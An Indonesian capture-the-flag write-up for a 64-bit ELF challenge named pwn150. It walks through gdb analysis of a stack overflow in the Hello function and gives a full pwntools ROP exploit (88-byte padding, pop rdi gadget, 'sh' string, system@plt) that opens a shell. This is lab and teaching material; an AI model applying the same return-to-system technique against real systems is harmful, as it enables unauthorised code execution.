Diberikan file ELF binary bernama pwn150 64-Bit yang harus dibuatkan exploit nya agar bisa mendapatkan flag.

➜  file pwn150
pwn150: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=dc1ada44067255e5211fafc5133679404b54f110, not stripped

Elf binary tersebut diproteksi NX (No-eXecute)

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Karena NX enabled, saya berasumsi untuk mengeksploitnya menggunakan teknik Return-to-libc.

Menggunakan gdb diketahui terdapat 3 user defined function yaitu main, today dan Hello.

gdb-peda$ info functions
All defined functions:

Non-debugging symbols:
0x0000000000400598  _init
0x00000000004005d0  puts@plt
0x00000000004005e0  system@plt
0x00000000004005f0  printf@plt
0x0000000000400600  __libc_start_main@plt
0x0000000000400610  fgets@plt
0x0000000000400620  fflush@plt
0x0000000000400630  fopen@plt
0x0000000000400640  fwrite@plt
0x0000000000400660  _start
0x0000000000400690  deregister_tm_clones
0x00000000004006d0  register_tm_clones
0x0000000000400710  __do_global_dtors_aux
0x0000000000400730  frame_dummy
0x0000000000400756  today
0x0000000000400767  Hello
0x00000000004007f4  main
0x0000000000400820  __libc_csu_init
0x0000000000400890  __libc_csu_fini
0x0000000000400894  _fini

Hasil disassembly fungsi today

gdb-peda$ pdisass today
Dump of assembler code for function today:
   0x0000000000400756 <+0>:	push   rbp
   0x0000000000400757 <+1>:	mov    rbp,rsp
   0x000000000040075a <+4>:	mov    edi,0x4008a8
   0x000000000040075f <+9>:	call   0x4005e0 <system@plt>
   0x0000000000400764 <+14>:	nop
   0x0000000000400765 <+15>:	pop    rbp
   0x0000000000400766 <+16>:	ret    
End of assembler dump.

Terdapat pemanggilan fungsi system dengan argument /bin/date

gdb-peda$ x/s 0x4008a8
0x4008a8:	"/bin/date"

Hasil disassembly fungsi Hello

gdb-peda$ pdisass Hello
Dump of assembler code for function Hello:
   0x0000000000400767 <+0>:	push   rbp
   0x0000000000400768 <+1>:	mov    rbp,rsp
   0x000000000040076b <+4>:	sub    rsp,0x50
   0x000000000040076f <+8>:	mov    edi,0x4008b8
   0x0000000000400774 <+13>:	mov    eax,0x0
   0x0000000000400779 <+18>:	call   0x4005f0 <printf@plt>
   0x000000000040077e <+23>:	mov    rax,QWORD PTR [rip+0x2008eb]        # 0x601070 <stdout@@GLIBC_2.2.5>
   0x0000000000400785 <+30>:	mov    rdi,rax
   0x0000000000400788 <+33>:	call   0x400620 <fflush@plt>
   0x000000000040078d <+38>:	mov    rdx,QWORD PTR [rip+0x2008ec]        # 0x601080 <stdin@@GLIBC_2.2.5>
   0x0000000000400794 <+45>:	lea    rax,[rbp-0x50]
   0x0000000000400798 <+49>:	mov    esi,0xc0
   0x000000000040079d <+54>:	mov    rdi,rax
   0x00000000004007a0 <+57>:	call   0x400610 <fgets@plt>
   0x00000000004007a5 <+62>:	mov    esi,0x4008e1
   0x00000000004007aa <+67>:	mov    edi,0x4008e3
   0x00000000004007af <+72>:	call   0x400630 <fopen@plt>
   0x00000000004007b4 <+77>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004007b8 <+81>:	cmp    QWORD PTR [rbp-0x8],0x0
   0x00000000004007bd <+86>:	jne    0x4007d0 <Hello+105>
   0x00000000004007bf <+88>:	mov    edi,0x4008f8
   0x00000000004007c4 <+93>:	call   0x4005d0 <puts@plt>
   0x00000000004007c9 <+98>:	mov    eax,0x1
   0x00000000004007ce <+103>:	jmp    0x4007f2 <Hello+139>
   0x00000000004007d0 <+105>:	mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000004007d4 <+109>:	lea    rax,[rbp-0x50]
   0x00000000004007d8 <+113>:	mov    rcx,rdx
   0x00000000004007db <+116>:	mov    edx,0x1
   0x00000000004007e0 <+121>:	mov    esi,0x40
   0x00000000004007e5 <+126>:	mov    rdi,rax
   0x00000000004007e8 <+129>:	call   0x400640 <fwrite@plt>
   0x00000000004007ed <+134>:	mov    eax,0x0
   0x00000000004007f2 <+139>:	leave  
   0x00000000004007f3 <+140>:	ret    
End of assembler dump.

fungsi fgets digunakan untuk user input sebanyak 0xc0 bytes atau 192 bytes dalam desimal. Selain itu, fungsi fopen akan membuka file bernama bugsbunny.txt dalam mode a atau append untuk menyimpan inputan user.

gdb-peda$ x/s 0x4008e1
0x4008e1:	"a"
gdb-peda$ x/s 0x4008e3
0x4008e3:	"bugsbunny.txt"

Setelah itu fungsi puts akan mengeluarkan output So shorry cant talk to you now :(

gdb-peda$ x/s 0x4008f8
0x4008f8:	"So shorry cant talk to you now :( "

Let’s OverFlow

Setelah dilakukan fuzzing, dibutuhkan 88 bytes untuk mengoverwrite register rip.

percobaan dengan menginput kan 88 bytes huruf “A” + 4 bytes huruf “B” untuk memastikan nya kalau itu benar-benar 88 bytes untuk mengoverwrite rip nya.

gdb-peda$ x/x $rip
0xa42424242:	Cannot access memory at address 0xa42424242

Terlihat 0x42 adalah huruf ‘B’ dalam ascii.

Karena 64 bit elf binary menyimpan argument nya pada register yang mana masing-masing argument ke 1,2,3 dst (dan saya bingung wkwk) akan disimpan di rdi, rsi dan rcx . saya menggunakan online rop gadget search untuk mencari gadget pop rdi; ret yang digunakan untuk memasukan argument ke rdi.

Didapatkan gadget pop rdi; ret berada didalamat 0x00400883.

Setelah itu mencari alamat dari fungsi system didapatkan 0x00000000004005e0

gdb-peda$ info functions
All defined functions:

Non-debugging symbols:
....
0x00000000004005e0  system@plt
....

Lalu mencari alamat dari sh

gdb-peda$ find "sh"
Searching for 'sh' in: None ranges
Found 100 results, display max 100 items:
    pwn150 : 0x4003ef --> 0x6e65706f66006873 ('sh')

Tujuan kita adalah me spawning shell dengan fungsi system('sh') karena binary tersebut di proteksi dengan NX jadi tidak bisa menggunakan shellcode.

Sehingga penyusunan payloadnya akan menjadi seperti berikut

junk + pop_rdi_ret_addr + sh_addr + system_addr

Atau implementasi menggunakan python.

junk = "A" * 88
sh_addr = p64(0x4003ef)
pop_rdi_ret_addr = p64(0x400883) # pop rdi; ret
system_addr = p64(0x00000000004005e0)

payload = junk + pop_rdi_ret_addr + sh_addr + system_addr

Berikut exploit code lengkap nya.

from pwn import *

context.arch = 'amd64'
print context.arch
r = process("/home/rhama/Downloads/pwn150")
junk = "A" * 88
sh_addr = p64(0x4003ef)
pop_rdi_ret_addr = p64(0x400883) # pop rdi; ret
system_addr = p64(0x00000000004005e0)

payload = junk + pop_rdi_ret_addr + sh_addr + system_addr
r.sendlineafter(": ",payload)
r.interactive()

Setelah code dieksekusi akan mendapat interactive shell.